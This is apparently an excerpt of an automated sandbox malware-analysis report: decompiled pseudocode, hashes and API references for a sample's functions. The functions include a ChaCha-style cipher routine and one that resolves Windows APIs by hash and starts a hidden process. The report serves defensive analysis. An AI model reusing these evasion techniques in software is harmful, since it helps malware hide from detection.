    • Opcode Fuzzy Hash: c08902538981eb4679bd6dc7dc50f699fc12af9a4000fec73905ac34f58eee10
    • Instruction Fuzzy Hash: BC812571B002059BDB14DFB8DC91BBEB7A5AF94320F10406EED05EB282DA75DE01E790
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F40F75 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODECrypto
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F40F75(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E00F3EC83(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E00F3EBE9(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}























    0x00f40f83
    0x00f40f8a
    0x00f40f8f
    0x00f40f95
    0x00f40f98
    0x00f40f9e
    0x00f40fa3
    0x00f40fa8
    0x00f40fa8
    0x00f40fae
    0x00f40fb3
    0x00f40fb8
    0x00f40fb8
    0x00f40fbf
    0x00f40fc4
    0x00f40fc9
    0x00f40fc9
    0x00f40fd0
    0x00f40fd5
    0x00f40fda
    0x00f40fda
    0x00f40fe1
    0x00f40fe6
    0x00f40feb
    0x00f40feb
    0x00f40ff3
    0x00f41003
    0x00f41015
    0x00f41027
    0x00f4103a
    0x00f4104c
    0x00f41054
    0x00f41059
    0x00f4105e
    0x00f4105e
    0x00f41065
    0x00f4106a
    0x00f4106a
    0x00f41071
    0x00f41076
    0x00f41076
    0x00f4107d
    0x00f41082
    0x00f41082
    0x00f41089
    0x00f4108e
    0x00f4108e
    0x00f41098
    0x00f4109a
    0x00f410d4
    0x00f4109c
    0x00f410a1
    0x00f410c5
    0x00f410cd
    0x00f410c1
    0x00f410c1
    0x00f410d7
    0x00f410de
    0x00f410e0
    0x00f41102
    0x00f4110a
    0x00f4110d
    0x00f4110d
    0x00f4110f
    0x00f4110f
    0x00f4111a
    0x00f41120
    0x00f41125
    0x00f4112c
    0x00f41166
    0x00f41171
    0x00f41177
    0x00f4117a
    0x00f4117d
    0x00f41189
    0x00f41191
    0x00f4112e
    0x00f41131
    0x00f4113d
    0x00f41143
    0x00f41149
    0x00f4114c
    0x00f41155
    0x00f41155
    0x00f41194
    0x00f411a2
    0x00f411a8
    0x00f411af
    0x00f411b1
    0x00f411b1
    0x00f411b8
    0x00f411ba
    0x00f411ba
    0x00f411c1
    0x00f411c3
    0x00f411c3
    0x00f411ca
    0x00f411cc
    0x00f411cc
    0x00f411d3
    0x00f411d5
    0x00f411d5
    0x00f411e2
    0x00f411e5
    0x00f4121c
    0x00f411e7
    0x00f411e7
    0x00f411ea
    0x00f41215
    0x00f4120a
    0x00f4120a
    0x00f4121e
    0x00f41226
    0x00f41229
    0x00f41248
    0x00f4124d
    0x00f4124d
    0x00f4124f
    0x00f41254
    0x00f41260
    0x00f41256
    0x00f41259
    0x00f41259
    0x00f41265
    0x00f41265
    0x00f4122b
    0x00f4122e
    0x00f4123d
    0x00000000
    0x00f4123d
    0x00f41230
    0x00f41233
    0x00f41235
    0x00f41235
    0x00000000
    0x00f41233
    0x00f411ec
    0x00f411ef
    0x00f41205
    0x00000000
    0x00f41205
    0x00f411f4
    0x00f411f6
    0x00f411f6
    0x00f411f4
    0x00000000
    0x00f411e5
    0x00f410e7
    0x00f410f5
    0x00f410fd
    0x00000000
    0x00f410fd
    0x00f410eb
    0x00f410f0
    0x00f410f0
    0x00000000
    0x00f410eb
    0x00f410a8
    0x00f410b6
    0x00f410be
    0x00000000
    0x00f410be
    0x00f410ac
    0x00f410b1
    0x00f410b1
    0x00f410ac

    APIs
    • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00F40F70,?,?,00000008,?,?,00F40C10,00000000), ref: 00F411A2
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ExceptionRaise
    • String ID:
    • API String ID: 3997070919-0
    • Opcode ID: 825e6847b84c66e7cbfba7220b73190917c6abd4dfa0275d497cd9bdf189e596
    • Instruction ID: 9b20c7dc0c5345c87d1cd7beeaefd3870ebfdc04cef0319e542b99c46510983d
    • Opcode Fuzzy Hash: 825e6847b84c66e7cbfba7220b73190917c6abd4dfa0275d497cd9bdf189e596
    • Instruction Fuzzy Hash: 17B139326106089FD719CF28C48AB657FE0FF45364F298658E99ACF2A1C735EAD1DB40
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F24070 Relevance: 1.4, Strings: 1, Instructions: 117COMMONCrypto
    Download Yara Rule
    C-Code - Quality: 22%
    			E00F24070(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v2060;
				short _v2084;
				intOrPtr _v2088;
				char _v2132;
				intOrPtr _v2144;
				char _v2148;
				signed int _t29;
				char* _t31;
				char* _t32;
				char* _t33;
				intOrPtr _t35;
				intOrPtr* _t36;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr _t42;
				intOrPtr* _t43;
				intOrPtr _t45;
				intOrPtr* _t46;
				intOrPtr _t48;
				intOrPtr* _t49;
				char _t53;
				void* _t54;
				intOrPtr _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t68;
				intOrPtr _t69;
				void* _t70;
				void* _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;

				_t76 = __edi;
				_t51 = __ebx;
				_t29 =  *0xf4a004; // 0x355216d4
				_v8 = _t29 ^ _t82;
				_t78 = __ecx;
				_t31 =  &_v2060;
				_t70 = 0x800;
				do {
					 *_t31 = 0;
					_t31 = _t31 + 1;
					_t70 = _t70 - 1;
				} while (_t70 != 0);
				_t53 = 0x44;
				_t32 =  &_v2132;
				do {
					 *_t32 = 0;
					_t32 = _t32 + 1;
					_t53 = _t53 - 1;
				} while (_t53 != 0);
				_t54 = 0x10;
				_t33 =  &_v2148;
				do {
					 *_t33 = 0;
					_t33 = _t33 + 1;
					_t54 = _t54 - 1;
				} while (_t54 != 0);
				_v2132 = 0x44;
				_v2084 = 0;
				_t35 =  *0xf4c2ec; // 0xddcc10
				_v2088 = 1;
				_t36 =  *((intOrPtr*)(_t35 + 0x58));
				if(_t36 == 0) {
					_t36 = E00F222A0(__ebx, _t54, 0, __edi, __ecx, 0x4d9702d0);
					_t69 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t69 + 0x58)) = _t36;
				}
				 *_t36( &_v2060, _t78);
				_t38 =  *0xf4c2ec; // 0xddcc10
				_t39 =  *((intOrPtr*)(_t38 + 0x54));
				if(_t39 == 0) {
					_t39 = E00F222A0(_t51, 0, 0, _t76, _t78, 0x7324a0a2);
					_t68 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t68 + 0x54)) = _t39;
				}
				_push( &_v2148);
				_push( &_v2132);
				_push(0);
				_push(0);
				_push(0x8000000);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v2060);
				_push(0);
				if( *_t39() != 0) {
					_t42 =  *0xf4c2ec; // 0xddcc10
					_t79 = _v2148;
					_t43 =  *((intOrPtr*)(_t42 + 0x2c));
					if(_t43 == 0) {
						_t43 = E00F222A0(_t51, 0, 0, _t76, _t79, 0x6a095e21);
						_t66 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t66 + 0x2c)) = _t43;
					}
					 *_t43(_t79, 0x2710);
					_t45 =  *0xf4c2ec; // 0xddcc10
					_t80 = _v2144;
					_t46 =  *((intOrPtr*)(_t45 + 0x48));
					if(_t46 == 0) {
						_t46 = E00F222A0(_t51, 0, 0, _t76, _t80, 0xa5eb6e47);
						_t64 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t64 + 0x48)) = _t46;
					}
					 *_t46(_t80);
					_t48 =  *0xf4c2ec; // 0xddcc10
					_t81 = _v2148;
					_t49 =  *((intOrPtr*)(_t48 + 0x48));
					if(_t49 == 0) {
						_t49 = E00F222A0(_t51, 0, 0, _t76, _t81, 0xa5eb6e47);
						_t62 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t62 + 0x48)) = _t49;
					}
					 *_t49(_t81);
				}
				return E00F37A82(_v8 ^ _t82);
			}





































    0x00f24070
    0x00f24070
    0x00f24079
    0x00f24080
    0x00f24084
    0x00f24086
    0x00f2408c
    0x00f24091
    0x00f24091
    0x00f24094
    0x00f24097
    0x00f24097
    0x00f2409c
    0x00f240a1
    0x00f240a7
    0x00f240a7
    0x00f240aa
    0x00f240ad
    0x00f240ad
    0x00f240b2
    0x00f240b7
    0x00f240c0
    0x00f240c0
    0x00f240c3
    0x00f240c6
    0x00f240c6
    0x00f240cd
    0x00f240d7
    0x00f240de
    0x00f240e3
    0x00f240ed
    0x00f240f2
    0x00f240fb
    0x00f24100
    0x00f24106
    0x00f24106
    0x00f24111
    0x00f24113
    0x00f24118
    0x00f2411d
    0x00f24128
    0x00f2412d
    0x00f24133
    0x00f24133
    0x00f2413c
    0x00f24143
    0x00f24144
    0x00f24146
    0x00f24148
    0x00f2414d
    0x00f2414f
    0x00f24151
    0x00f24159
    0x00f2415a
    0x00f24160
    0x00f24166
    0x00f2416b
    0x00f24171
    0x00f24176
    0x00f24181
    0x00f24186
    0x00f2418c
    0x00f2418c
    0x00f24195
    0x00f24197
    0x00f2419c
    0x00f241a2
    0x00f241a7
    0x00f241b2
    0x00f241b7
    0x00f241bd
    0x00f241bd
    0x00f241c1
    0x00f241c3
    0x00f241c8
    0x00f241ce
    0x00f241d3
    0x00f241de
    0x00f241e3
    0x00f241e9
    0x00f241e9
    0x00f241ed
    0x00f241ed
    0x00f241fd

    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID: D
    • API String ID: 0-2746444292
    • Opcode ID: 602fec196780e1a317f2bb14e5aa11f367cd06a79bee4131222d71c4c22a402b
    • Instruction ID: 2baccbf494eff1e0c9838dbd757865a200ddaf350d5c5dc1c7bea4849971714a
    • Opcode Fuzzy Hash: 602fec196780e1a317f2bb14e5aa11f367cd06a79bee4131222d71c4c22a402b
    • Instruction Fuzzy Hash: 27418F34A012189FE754DFA4DC40BAA73A9BB59300F00809EDD05EB291DFB6AE44DF84
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3D417 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F3D417() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0xf4c298 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}




    0x00f3d417
    0x00f3d41f
    0x00f3d427

    APIs
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: HeapProcess
    • String ID:
    • API String ID: 54951025-0
    • Opcode ID: 8f819e80017884b823b292ac9084a7bc991edd5ed2c3b113d67c35269b729b76
    • Instruction ID: cccd237e73e71a95d267b233a72cd487247a5e9eca7ab478c0b7080e81f2ba6f
    • Opcode Fuzzy Hash: 8f819e80017884b823b292ac9084a7bc991edd5ed2c3b113d67c35269b729b76
    • Instruction Fuzzy Hash: D8A011382022088B83808F30BA0A3083AA8AAB2280B088028A808C2030EAA08080AA00
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F22F50 Relevance: .4, Instructions: 397COMMONCrypto
    Download Yara Rule
    C-Code - Quality: 21%
    			E00F22F50(void* __ebx, intOrPtr __ecx, signed int* __edx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				char _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int* _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				intOrPtr _v204;
				signed int _v208;
				intOrPtr _v212;
				signed int _t274;
				signed int _t302;
				signed int _t303;
				signed int _t305;
				signed int _t306;
				signed int _t308;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				signed int _t314;
				signed int _t316;
				signed int _t318;
				signed int _t320;
				signed int _t321;
				signed int _t323;
				signed int _t325;
				signed int _t326;
				signed int _t328;
				signed int _t330;
				signed int _t331;
				signed int* _t362;
				signed int _t378;
				intOrPtr _t379;
				signed int _t380;
				char _t381;
				signed int _t382;
				void* _t383;
				signed int* _t385;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				signed int _t389;
				signed int _t390;
				signed int* _t395;
				signed int _t399;
				signed int* _t401;
				signed int _t404;
				void* _t405;
				signed int _t413;
				signed int _t414;
				signed int _t415;
				signed int _t417;
				signed int _t418;
				signed int _t420;
				signed int _t424;
				intOrPtr _t430;
				signed int _t434;
				signed int _t435;
				signed int _t436;
				signed int _t438;
				signed int _t439;
				signed int _t441;
				signed int _t442;
				signed int _t444;
				signed int _t447;
				char* _t452;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t459;
				signed int _t460;
				signed int _t462;
				signed int _t466;
				signed int _t468;
				signed int _t469;
				signed int _t470;
				signed int _t471;
				signed int _t473;
				signed int _t474;
				signed int _t476;
				signed int _t478;
				signed int _t480;
				signed int _t482;
				signed int _t487;

				_t274 =  *0xf4a004; // 0x355216d4
				_v8 = _t274 ^ _t487;
				_t468 = _a4;
				_t454 = _a8;
				_t385 = __edx;
				_v116 = __edx;
				_v212 = __ecx;
				_v112 = _t468;
				_v204 = 0;
				if(_t454 != 0) {
					_v200 =  *((intOrPtr*)(__ecx));
					_v208 =  *((intOrPtr*)(__ecx + 4));
					_v152 =  *((intOrPtr*)(__ecx + 8));
					_t434 =  *(__ecx + 0x34);
					_v156 =  *((intOrPtr*)(__ecx + 0xc));
					_v160 =  *((intOrPtr*)(__ecx + 0x10));
					_v164 =  *((intOrPtr*)(__ecx + 0x14));
					_v168 =  *((intOrPtr*)(__ecx + 0x18));
					_v172 =  *((intOrPtr*)(__ecx + 0x1c));
					_v176 =  *((intOrPtr*)(__ecx + 0x20));
					_v180 =  *((intOrPtr*)(__ecx + 0x24));
					_v184 =  *((intOrPtr*)(__ecx + 0x28));
					_v188 =  *((intOrPtr*)(__ecx + 0x2c));
					_v140 =  *((intOrPtr*)(__ecx + 0x30));
					_v192 =  *((intOrPtr*)(__ecx + 0x38));
					_v120 = _t434;
					_v196 =  *((intOrPtr*)(__ecx + 0x3c));
					L2:
					while(1) {
						if(_t454 < 0x40) {
							_t383 = 0;
							if(_t454 != 0) {
								_t405 = _t385 -  &_v72;
								do {
									_t452 =  &_v72 + _t383;
									_t383 = _t383 + 1;
									 *_t452 =  *((intOrPtr*)(_t452 + _t405));
								} while (_t383 < _t454);
								_t434 = _v120;
							}
							_t404 =  &_v72;
							_v204 = _t468;
							_v116 = _t404;
							_v112 = _t404;
						}
						_t455 = _v200;
						_t386 = _v140;
						_t469 = _v192;
						_v136 = _v208;
						_v104 = _v152;
						_v88 = _v156;
						_v100 = _v160;
						_v80 = _v180;
						_v124 = _v164;
						_v76 = _v184;
						_v128 = _v168;
						_v84 = _v188;
						_v132 = _v172;
						_v108 = _v196;
						_t413 = _v136;
						_v92 = _v176;
						_v144 = 4;
						while(1) {
							_t456 = _t455 + _v100;
							_t387 = _t386 ^ _t456;
							_t414 = _t413 + _v124;
							asm("rol ebx, 0x10");
							_t435 = _t434 ^ _t414;
							_t302 = _v92 + _t387;
							_v96 = _t456;
							_v92 = _t302;
							_t303 = _t302 ^ _v100;
							asm("rol eax, 0xc");
							_t457 = _t456 + _t303;
							asm("rol edx, 0x10");
							_t388 = _t387 ^ _t457;
							_v96 = _t457;
							asm("rol ebx, 0x8");
							_t459 = _v92 + _t388;
							_v92 = _t459;
							_t460 = _t459 ^ _t303;
							_t305 = _v80 + _t435;
							asm("rol edi, 0x7");
							_v80 = _t305;
							_t306 = _t305 ^ _v124;
							asm("rol eax, 0xc");
							_t415 = _t414 + _t306;
							_t436 = _t435 ^ _t415;
							_v136 = _t415;
							asm("rol edx, 0x8");
							_t417 = _v80 + _t436;
							_v100 = _t436;
							_t438 = _v104 + _v128;
							_t470 = _t469 ^ _t438;
							_v80 = _t417;
							_t418 = _t417 ^ _t306;
							asm("rol esi, 0x10");
							_t308 = _v76 + _t470;
							asm("rol ecx, 0x7");
							_v76 = _t308;
							_t309 = _t308 ^ _v128;
							asm("rol eax, 0xc");
							_t439 = _t438 + _t309;
							_v96 = _v96 + _t418;
							_t471 = _t470 ^ _t439;
							_v104 = _t439;
							asm("rol esi, 0x8");
							_t441 = _v76 + _t471;
							_v148 = _t471;
							_v76 = _t441;
							_t442 = _t441 ^ _t309;
							_t311 = _v88 + _v132;
							_t473 = _v108 ^ _t311;
							_v88 = _t311;
							asm("rol esi, 0x10");
							_t313 = _v84 + _t473;
							asm("rol edx, 0x7");
							_v84 = _t313;
							_t314 = _t313 ^ _v132;
							asm("rol eax, 0xc");
							_v88 = _v88 + _t314;
							_t474 = _t473 ^ _v88;
							asm("rol esi, 0x8");
							_v84 = _v84 + _t474;
							_v108 = _t474;
							_t476 = _v84 ^ _t314;
							_t316 = _v108 ^ _v96;
							asm("rol eax, 0x10");
							asm("rol esi, 0x7");
							_v76 = _v76 + _t316;
							_v108 = _t316;
							_t318 = _v76 ^ _t418;
							asm("rol eax, 0xc");
							_v96 = _v96 + _t318;
							_t420 = _v108 ^ _v96;
							asm("rol ecx, 0x8");
							_v76 = _v76 + _t420;
							_v108 = _t420;
							asm("rol ecx, 0x7");
							_v124 = _v76 ^ _t318;
							_t424 = _v136 + _t442;
							_t389 = _t388 ^ _t424;
							asm("rol ebx, 0x10");
							_t320 = _v84 + _t389;
							_v84 = _t320;
							_t321 = _t320 ^ _t442;
							asm("rol eax, 0xc");
							_t413 = _t424 + _t321;
							_t390 = _t389 ^ _t413;
							asm("rol ebx, 0x8");
							_t444 = _v84 + _t390;
							_v136 = _t390;
							_v84 = _t444;
							_t323 = _v104 + _t476;
							asm("rol edx, 0x7");
							_v104 = _t323;
							_v128 = _t444 ^ _t321;
							_t447 = _v100 ^ _t323;
							asm("rol edx, 0x10");
							_t325 = _v92 + _t447;
							_v92 = _t325;
							_t326 = _t325 ^ _t476;
							asm("rol eax, 0xc");
							_t478 = _v104 + _t326;
							_t434 = _t447 ^ _t478;
							_v104 = _t478;
							asm("rol edx, 0x8");
							_t480 = _v92 + _t434;
							_v92 = _t480;
							_t328 = _v88 + _t460;
							asm("rol ebx, 0x7");
							_t482 = _v148 ^ _t328;
							_v88 = _t328;
							asm("rol esi, 0x10");
							_t330 = _v80 + _t482;
							_v132 = _t480 ^ _t326;
							_v80 = _t330;
							_t331 = _t330 ^ _t460;
							asm("rol eax, 0xc");
							_t462 = _v88 + _t331;
							_t469 = _t482 ^ _t462;
							_v88 = _t462;
							asm("rol esi, 0x8");
							_v80 = _v80 + _t469;
							_v148 = _t469;
							_v100 = _v80 ^ _t331;
							asm("rol dword [ebp-0x60], 0x7");
							_t162 =  &_v144;
							 *_t162 = _v144 - 1;
							_t386 = _v136;
							if( *_t162 == 0) {
								break;
							}
							_t455 = _v96;
						}
						_t395 = _v116;
						_v144 = _v208 + _t413 ^  *(_t395 + 4);
						_v104 = _v104 + _v152 ^  *(_t395 + 8);
						_v88 = _v156 + _t462 ^  *(_t395 + 0xc);
						_v100 = _v100 + _v160 ^  *(_t395 + 0x10);
						_v124 = _v124 + _v164 ^  *(_t395 + 0x14);
						_v128 = _v128 + _v168 ^  *(_t395 + 0x18);
						_v132 = _v132 + _v172 ^  *(_t395 + 0x1c);
						_v92 = _v176 + _v92 ^  *(_t395 + 0x20);
						_v80 = _v80 + _v180 ^  *(_t395 + 0x24);
						_v76 = _v76 + _v184 ^  *(_t395 + 0x28);
						_t362 = _v116;
						_v140 = _v140 + 1;
						_v84 = _v84 + _v188 ^  *(_t362 + 0x2c);
						_t399 = _v120;
						_t364 =  !=  ? _t399 : _t399 + 1;
						_v120 =  !=  ? _t399 : _t399 + 1;
						_t401 = _v112;
						 *_t401 = _v96 + _v200 ^  *_v116;
						_t401[1] = _v144;
						_t401[2] = _v104;
						_t401[3] = _v88;
						_t401[4] = _v100;
						_t401[5] = _v124;
						_t401[6] = _v128;
						_t401[7] = _v132;
						_t401[8] = _v92;
						_t401[9] = _v80;
						_t401[0xa] = _v76;
						_t378 = _v112;
						 *(_t378 + 0x30) = _v136 + _v140 ^  *(_t362 + 0x30);
						_t466 = _a8;
						 *(_t378 + 0x2c) = _v84;
						 *(_t378 + 0x34) = _v120 + _t434 ^  *(_t362 + 0x34);
						 *(_t378 + 0x38) = _v192 + _v148 ^  *(_t362 + 0x38);
						 *(_t378 + 0x3c) = _v108 + _v196 ^  *(_t362 + 0x3c);
						if(_t466 > 0x40) {
							_t382 = _t378 + 0x40;
							_t434 = _v120;
							_t454 = _t466 - 0x40;
							_t385 =  &(_v116[0x10]);
							_a8 = _t454;
							_v112 = _t382;
							_t468 = _t382;
							_v116 = _t385;
							continue;
						}
						if(__eflags < 0) {
							__eflags = _t466;
							if(_t466 != 0) {
								_t430 = _v204;
								_t380 = _t378 - _t430;
								__eflags = _t380;
								_v112 = _t380;
								do {
									_t381 =  *((intOrPtr*)(_t380 + _t430));
									_t430 = _t430 + 1;
									 *((char*)(_t430 - 1)) = _t381;
									_t380 = _v112;
									_t466 = _t466 - 1;
									__eflags = _t466;
								} while (_t466 != 0);
							}
						}
						_t379 = _v212;
						 *(_t379 + 0x30) = _v140;
						 *(_t379 + 0x34) = _v120;
						goto L18;
					}
				}
				L18:
				__eflags = _v8 ^ _t487;
